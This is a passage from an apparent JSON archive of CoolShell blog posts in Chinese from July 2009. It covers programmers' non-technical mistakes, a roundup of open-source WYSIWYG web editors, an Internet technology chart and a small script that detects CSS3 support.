href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4710.html\"><img alt=\"Python 和 PyGame 的一些示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4710.html\">Python 和 PyGame 的一些示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3723.html\"><img alt=\"（麻省理工免费课程）计算机科学和编程导论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3723.html\">（麻省理工免费课程）计算机科学和编程导论</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1163.html\">（免费在线）新书推荐：搜索的用户界面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-21 程序员犯的非技术错误(Top 5).html",
    "content": "<html><body><p></p>\n<div>\n<p>对于程序开发者来说，有两种技术需要我们掌握，一个是技术上的能力，另一个是非技术上的能力。不幸的是，许多程序员过多地关注了技术上的能力，而忽略了非技术上的能力的培养，因此，我们的程序员们经常会有一些很不好的习惯，这里我们例举了程序员们最常犯的5个非技术的错误，与大家共勉。</p>\n<h4>1.- 缺乏团队纪律</h4>\n<p><a href=\"http://thinkexist.com/quotation/discipline_is_the_bridge_between_goals_and/210477.html\" target=\"_blank\">“Discipline is the bridge between goals and accomplishment.”</a> Jim Rohn.</p>\n<p>纪律是一个最有价值的技能，不仅仅只是在软件开发领域，同样在其它领域也是一样的。但对于现实来说，我们很难找到即有才华又有纪律的人。这正如足球队一样，非洲的球员们才华相当的出众，可惜他们总是独自为阵，团队纪律性不足，所以可以有好的成绩，但却无法赢得最后的胜利；而德国队的队员个人技能平平，但其有很强大的团队纪律性，所以，总是能打入最后的决赛并获得冠军。有人说过，个人英雄并不可怕，而有强大纪律性的团队才让人可怕。这正是日本这个民族的可怕之处。况且，软件开发从来都不是一个人可以完成的事情，所以团队工作中的纪律性会是非常重要的。</p>\n<p><a href=\"http://www.stevepavlina.com/\">Steve Pavlina</a> 强调了自律中5个因素：“<strong>承担</strong>, <strong>毅力</strong>, <strong>努力</strong>, <strong>勤奋</strong>, 和<strong>坚持</strong><em>。</em>” 这里，我们强烈推荐你读一读Steve的 <a href=\"http://www.stevepavlina.com/blog/2005/06/self-discipline/\" target=\"_blank\">关于自律的文章</a>。</p>\n<p><span id=\"more-1145\"></span></p>\n<p>下面是我们觉得程序应该有的比较良好的习惯。</p>\n<ul>\n<li>每天都有自己的to do list</li>\n<li>在一个时间内只做一个事</li>\n<li>把事情做对了</li>\n<li>事情没有完全完成时不要轻易结束</li>\n<li>慢点总比道歉好，道歉总比不做好</li>\n</ul>\n<h4>2.- 过度自负</h4>\n<p>我们的经验告诉我们，过度的自负的人一般是意识不到自己的自负，下面是一些过度自负的特征，希望你可以从中检测一下自己是否过度自负了。</p>\n<ul>\n<li>觉得自己是最牛的程序员</li>\n<li>总是打断谈话</li>\n<li>你要求Code Reivew不是要检查代码，而是向大家炫耀你的代码</li>\n</ul>\n<p>在网上有太多的文章关于程序员的自负的问题，这里有两篇，你可以看看：一篇是Mike Bernat的 <a href=\"http://mikebernat.com/blog/Egoless_Programming_-_Developing_Without_the_Attitude\" target=\"_blank\">Egoless programming（无自负编程）</a> 还有一个是stackoverflow.com 上的一个<a href=\"http://stackoverflow.com/questions/229393/how-do-you-control-your-programmer-ego\" target=\"_blank\">贴子</a>。</p>\n<h4>3.- 沟通不畅</h4>\n<p><a href=\"http://www.wisdomquotes.com/000747.html\" target=\"_blank\">“如果我要说十分钟，我需要一周做准备；如果说15分钟，我需要3天做准备；半个小时，我需要两天；如果说一个小时，我现在就准备好了。</a>” Woodrow Wilson</p>\n<p>人类的沟通是我们最主要的活动。成为一个好的沟通者是一件很难的事情，我们不断地和别人交换关于设计，编码，文章的意见，并且我们每天都在试图说服别人我们自己的设计和想法会更好，更有道理……</p>\n<p>然后，好的沟通者是那些当他们正在解释一些事情的时候，他们的解释是下面这个样子的：</p>\n<ul>\n<li><strong>专注。</strong>不跑题，没有废话。</li>\n<li><strong>清晰</strong>. 很容易听懂。</li>\n<li><strong>简明</strong>. 加一点就觉得多，少一点都觉得不够。</li>\n</ul>\n<p>要有一个好的沟通技巧，我们的建议如下：</p>\n<ul>\n<li>如果你觉得你沟通方面不够好的话，请事先准备你要表达的东西，努力做到专注，清晰和简明。</li>\n<li>在交谈中，先听，后想，最后再说。</li>\n<li>永远从对方的角度思考问题。</li>\n</ul>\n<h4>4.- 忘了用户</h4>\n<p><em><a href=\"http://thinkexist.com/quotation/if_we_don-t_take_care_of_the_customer-somebody/335078.html\" target=\"_blank\">“如果我们不关心我们的用户……那么别人会”</a></em></p>\n<p>你的存在，你工作的意思只有一个原因——你的用户。我们在很多时间都会忘了这个事情。经常，我们在工作当中，技术会取代用户而占据了主要的位置，我们可以花费数月的时间来创建一个程序框架，但一个程序框架不会给用户代来任何的价值，我们不是说程序框架不重要，而是说，对于用户的需求来说，这是其次重要的东西。如果离开了用户的需求，我们所有的技术，算法或是精妙的设计将会变得什么也不是。</p>\n<h4>5.- 不懂工作的轻重缓急</h4>\n<p>程序员总是喜欢去研究一些新的或自己感兴趣的东西，但对于软件工程来说，我们更需要知道所有事情的轻重缓急，要学会如何了解事情的优先级，这样才会让我们的工作事半功倍，而我们的工作也会更有效。比如，当用户的站点出现问题的时候，有些时候，我们的程序员过试地关注于问题的重现和原因，而忘记了用户的站点正在流血，无法进行生产。所以，一般来说，最重要的事情首先是恢复用户站点，然后才是去重现和调查问题。在我们的日常工作中，我们要处理很多事情，只有了解到了所有事情的轻重缓急，处理最重要最紧急的事情，我们才能够更好的安排自己的工作，才能够更好的完成我们的事情。不要以为这是一件很简单的事情，这需要我们不断地和别人沟通来了解事情的轻重缓急，事实证明，如果我们不懂工作中的轻重缓急，本来只有一件紧急的事情，如果处理不当，最后可能会演变成多件紧急事情，其它本来不紧急的事，后来也会变得很紧急，最终程序员们顾此失彼，苦不堪言。希望大家切记。</p>\n<p>（全文完）</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1145.html\">程序员犯的非技术错误(Top 5)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-24 15个Web在线WYSIWYG编辑器.html",
    "content": "<html><body><p>基于WEB的HTML 编辑器，WYSIWYG所见即所得的编辑器，或是一个富文本的编辑器，是我们在开发WEB应用时接收用户输入时必需要考虑的问题。下面是一些开源的WEB在线的WYSWIG编辑器。</p>\n<h3>1. <a href=\"http://www.fckeditor.net/\" target=\"_blank\" title=\"FCKeditor\">FCKeditor</a></h3>\n<p>FCKeditor 这些在线编辑器中最著名的一个，其功能相当的强大，很像一个Web的Word软件。它可以方便地和ASP, ASP.NET, PHP, Java, Perl, Phyton 等Web开发语言所集成。并支持皮肤，拼写检查。其还可以配置成一个轻量级的编辑器。而且，它还有很多相当酷的功能。<br/>\n<img alt=\"FCKeditor\" height=\"161\" src=\"../wp-content/uploads/2009/07/fckeditor.jpg\" title=\"FCKeditor\" width=\"500\"/></p>\n<p><span id=\"more-1183\"></span></p>\n<h3>2. <a href=\"http://nicedit.com/\" target=\"_blank\" title=\"NicEdit\">NicEdit</a></h3>\n<p>NicEdit 是一个基于Javascript 编辑器，它可以很容易地被集成到任意的网页中。它还可以把网页上任何的element/div 转成可以编辑的标准的控件。<img alt=\"NicEdit\" height=\"104\" src=\"../wp-content/uploads/2009/07/nicedit.jpg\" title=\"NicEdit\" width=\"500\"/></p>\n<p><span id=\"more-967\"> </span></p>\n<h3>3. <a href=\"http://tinymce.moxiecode.com/\" target=\"_blank\" title=\"TinyMCE\">TinyMCE</a></h3>\n<p>TinyMCE 是另一个很有名的所见即所得的编辑器，其受LGPL license控制。Wordpress的编辑器用的就是TinyMCE的。<br/>\n<img alt=\"TinyMCE\" height=\"181\" src=\"../wp-content/uploads/2009/07/tinymce.jpg\" title=\"TinyMCE\" width=\"500\"/></p>\n<h3>4. <a href=\"http://code.google.com/p/jwysiwyg/\" target=\"_blank\" title=\"jwysiwyg\">jwysiwyg</a></h3>\n<p>jwysiwyg 是一个基于 jQuery 的WYSIWYG 插件，相当小，只有7kb的大小，而且相当的简单易用。但功能不多。<br/>\n<img alt=\"jwysiwyg - jQuery WYSIWYG plugin\" height=\"198\" src=\"../wp-content/uploads/2009/07/jwysiwyg.jpg\" title=\"jwysiwyg - jQuery WYSIWYG plugin\" width=\"500\"/></p>\n<h3>5. <a href=\"http://developer.yahoo.com/yui/editor/\" target=\"_blank\" title=\"Yahoo! UI Library: Rich Text Editor\">Yahoo! UI Library: Rich Text Editor</a></h3>\n<p>这个富文本编辑器是 Yahoo YUI 库中的一部分，用户或以非常简单的扩展它。这对于那些对YUI库很熟悉的人来说是最好的了。<br/>\n<img alt=\"Yahoo! UI Library: Rich Text Editor\" height=\"331\" src=\"../wp-content/uploads/2009/07/yui-rich-text-editor.jpg\" title=\"Yahoo! UI Library: Rich Text Editor\" width=\"500\"/></p>\n<h3>6. <a href=\"http://xinha.webfactional.com/\" target=\"_blank\" title=\"Xinha\">Xinha</a></h3>\n<p>Xinha 也是一个相当强大的WYSIWYG HTML 编辑器，它可以兼容于所有的浏览器，并被开源社区所支持。<img alt=\"xinha\" height=\"330\" src=\"../wp-content/uploads/2009/07/xinha.jpg\" title=\"xinha\" width=\"500\"/></p>\n<h3>7. <a href=\"http://www.openwebware.com/\" target=\"_blank\" title=\"Openwysiwyg\">Openwysiwyg</a></h3>\n<p>Openwysiwyg 也是另一个开源的跨浏览器的 WYSIWYG 编辑器，别看他外表长得不怎么样，但他有很多的功能，特别是表格编辑的功能。<br/>\n<img alt=\"openwysiwyg: Free cross browser wysiwyg editor\" height=\"246\" src=\"../wp-content/uploads/2009/07/openwysiwyg.jpg\" title=\"openwysiwyg: Free cross browser wysiwyg editor\" width=\"500\"/></p>\n<h3>8. <a href=\"http://freerichtexteditor.com/\" target=\"_blank\" title=\"Free Rich Text Editor\">Free Rich Text Editor</a></h3>\n<p>Free Rich Text Editor 是一个超级简单并且是免费的WYSIWYG 编辑器，它非常容易用来实现和管理基于XHTML的文本。<br/>\n<img alt=\"Free Rich Text Editor\" height=\"382\" src=\"../wp-content/uploads/2009/07/free-rich-text-editor.jpg\" title=\"Free Rich Text Editor\" width=\"500\"/></p>\n<h3>9. <a href=\"http://wmd-editor.com/\" target=\"_blank\" title=\"WMD: The Wysiwym Markdown Editor\">WMD: The Wysiwym Markdown Editor</a></h3>\n<p>WMD 是一个简单和轻量级的编辑器，它主要用于Blog的评论系统或是论坛回贴系统。<br/>\n<img alt=\"WMD: The Wysiwym Markdown Editor\" height=\"286\" src=\"../wp-content/uploads/2009/07/wmd.jpg\" title=\"WMD: The Wysiwym Markdown Editor\" width=\"500\"/></p>\n<h3>10. <a href=\"http://koivi.com/WYSIWYG-Editor/\" target=\"_blank\" title=\"TTW HTML Editor\">TTW HTML Editor</a></h3>\n<p>TTW HTML Editor 也是一个很简单轻量级的WYSIWYG编辑器，其主要由Javascripts编写，其拼写检查由SpellerPages编写。这是一个很容易被调用的编辑器。</p>\n<p><img alt=\"TTW HTML Editor\" height=\"313\" src=\"../wp-content/uploads/2009/07/ttw-html-editor.jpg\" title=\"TTW HTML Editor\" width=\"500\"/></p>\n<h3>11. <a href=\"http://freetextbox.com/\" target=\"_blank\" title=\"Free Text Box\">Free Text Box</a></h3>\n<p>FreeTextBox 也是一个很常用的HTML editor，只不过它只支持ASP.NET。它可以兼容于所有的IE，Mozilla和Firefox。<br/>\n<img alt=\"Free Text Box\" height=\"378\" src=\"../wp-content/uploads/2009/07/free-text-box.jpg\" title=\"Free Text Box\" width=\"500\"/></p>\n<h3>12. <a href=\"http://www.wymeditor.org/\" target=\"_blank\" title=\"WYMeditor\">WYMeditor</a></h3>\n<p>WYMeditor 是一个 XHTML 的编辑器。WYMeditor 可以创建并生成非常完美的XHTML 结构的源码，并完全严格遵守W3C XHTML 规范。<br/>\n<img alt=\"WYMeditor\" height=\"203\" src=\"../wp-content/uploads/2009/07/wymeditor.jpg\" title=\"WYMeditor\" width=\"500\"/></p>\n<h3>13. <a href=\"http://www.blueshoes.org/en/javascript/editor/\" target=\"_blank\" title=\"BlueShoes Wysiwyg Editor\">BlueShoes Wysiwyg Editor</a></h3>\n<p>这是一个DHTML 和Javascript 开发的编辑器，它有很多非常酷的功能。例如：用户可以动态的改变编辑器的大小，选取特殊字符，以及选取颜色的功能。<br/>\n<img alt=\"BlueShoes Wysiwyg Editor\" height=\"350\" src=\"../wp-content/uploads/2009/07/blueshoes-wysiwys-editor.jpg\" title=\"BlueShoes Wysiwyg Editor\" width=\"500\"/></p>\n<h3>14. <a href=\"http://markitup.jaysalvat.com/home/\" target=\"_blank\" title=\"markItUp\">markItUp</a></h3>\n<p>markItUp! 是一个jQuery 的JavaScript 插件。它非常的轻量，可以非常容易的定制。你甚至可以定义你最喜欢的键盘热键，以及添加额外的功能。<br/>\n<img alt=\"markItUp! Universal markup editor\" height=\"341\" src=\"../wp-content/uploads/2009/07/mark-it-up.jpg\" title=\"markItUp! Universal markup editor\" width=\"500\"/></p>\n<h3>15. <a href=\"http://spaweditor.com/en/disp.php/en_products/en_spaw/en_spaw_intro\" target=\"_blank\" title=\"SPAW Editor\">SPAW Editor</a></h3>\n<p>这个WYSIWYG 编辑器是一个多页的编辑器，浮动式的工具条和很酷的用户接口，目前只有PHP 和.NET 版本。<br/>\n<img alt=\"spaw-editor\" height=\"418\" src=\"../wp-content/uploads/2009/07/spaw-editor.jpg\" title=\"spaw-editor\" width=\"500\"/></p>\n<p>文章：<a href=\"http://www.webdesignbooth.com/15-really-useful-web-based-html-editors/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8115.html\"><img alt=\"GCC 用 C++ 来编译\" height=\"150\" src=\"../wp-content/uploads/2012/08/VEC-vs-vector-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8115.html\">GCC 用 C++ 来编译</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7917.html\"><img alt=\"各式各样的验证码\" height=\"150\" src=\"../wp-content/uploads/2012/07/0-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7917.html\">各式各样的验证码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12176.html\"><img alt=\"C++ 对象的内存布局\" height=\"150\" src=\"../wp-content/uploads/2014/12/011-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12176.html\">C++ 对象的内存布局</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1183.html\">15个Web在线WYSIWYG编辑器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-24 Internet 技术演变图.html",
    "content": "<html><body><p>点击图片看大图</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/07/Internet.jpg\"><img alt=\"Internet 技术演变图 (点击看大图)\" class=\"alignnone size-medium wp-image-1179\" height=\"248\" src=\"../wp-content/uploads/2009/07/Internet-300x248.jpg\" title=\"Internet 技术演变图 (点击看大图)\" width=\"300\"/></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/07/Internet.jpg\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/373.html\"><img alt=\"RFC1 40岁生日\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/373.html\">RFC1 40岁生日</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/737.html\"><img alt=\"某Python实现的尾部递归\" height=\"150\" src=\"../wp-content/uploads/2009/04/snake-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/737.html\">某Python实现的尾部递归</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10217.html\"><img alt=\"加班与效率\" height=\"150\" src=\"../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10217.html\">加班与效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12192.html\"><img alt=\"C/C++返回内部静态成员的陷阱\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12192.html\">C/C++返回内部静态成员的陷阱</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1178.html\">Internet 技术演变图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-24 如何检测浏览器是否支持CSS3.html",
    "content": "<html><body><p>如何检测用户的浏览器是否支持CSS3，我们需要使用HTML，CSS和JavaScript来完成这件事情。下面是步骤。</p>\n<p><strong>1）先制作下面的HTML</strong></p>\n<pre class=\"EnlighterJSRAW\">\n&lt;span id=\"check\" rel=\"Detect\"&gt;&lt;/span&gt;\n</pre>\n<p><strong>2）然后书写下面的CSS</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#check {\n  display: none;\n  width: 0;\n  height: 0;\n}\n#check[rel^=\"D\"] {\n  display: block;\n  width: 0;\n  height: 0;\n}\n</pre>\n<p><span id=\"more-1186\"></span><br/>\n<strong>3）下面是JavaScripts的检测脚本</strong></p>\n<p>请确保下面的代码放在HTML文件头。</p>\n<p>[javascript]<br/>\n&lt;script type=\"text/javascript\"&gt;<br/>\nvar obj = document.getElementById(\"check\");<br/>\nvar file=\"special.css\";<br/>\nif (window.getComputedStyle)<br/>\n    var stat = window.getComputedStyle(obj,null).getPropertyValue(\"display\");<br/>\nelse if (obj.currentStyle)<br/>\n    var stat = obj.currentStyle.display;<br/>\nvar css3 = (stat == \"block\");<br/>\nif (css3) alert(\"CSS3 Supported.\");<br/>\nelse alert(\"CSS3 not supported.\");<br/>\n&lt;/script&gt;</p>\n<p>[/javascript]</p>\n<p>文章：<a href=\"http://www.geocities.com/seanmhall2003/css3/detect.html\" target=\"_self\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6913.html\"><img alt=\"神奇的CSS形状 \" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6913.html\">神奇的CSS形状 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1186.html\">如何检测浏览器是否支持CSS3</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-24 程序员惯用的解释(Top 25).html",
